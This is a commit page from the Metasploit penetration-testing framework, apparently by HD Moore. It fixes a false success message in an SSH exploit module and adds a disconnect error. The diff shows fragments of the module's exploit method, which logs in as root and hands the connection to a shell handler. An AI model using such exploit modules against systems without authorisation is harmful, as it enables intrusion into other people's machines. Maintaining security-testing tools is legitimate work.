Correct a fp with this exploit module (would always print success)

unstable
HD Moore 2012-06-13 10:38:05 -05:00
parent cde508af03
commit a2aaca5e85
1 changed files with 2 additions and 3 deletions

View File

@ -96,6 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return :connection_disconnect
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
@ -120,11 +121,9 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
conn = do_login("root")
if conn
if conn.class == Net::SSH::CommandStream
print_good "Successful login"
handler(conn.lsock)
else
print_error "Login failed"
end
end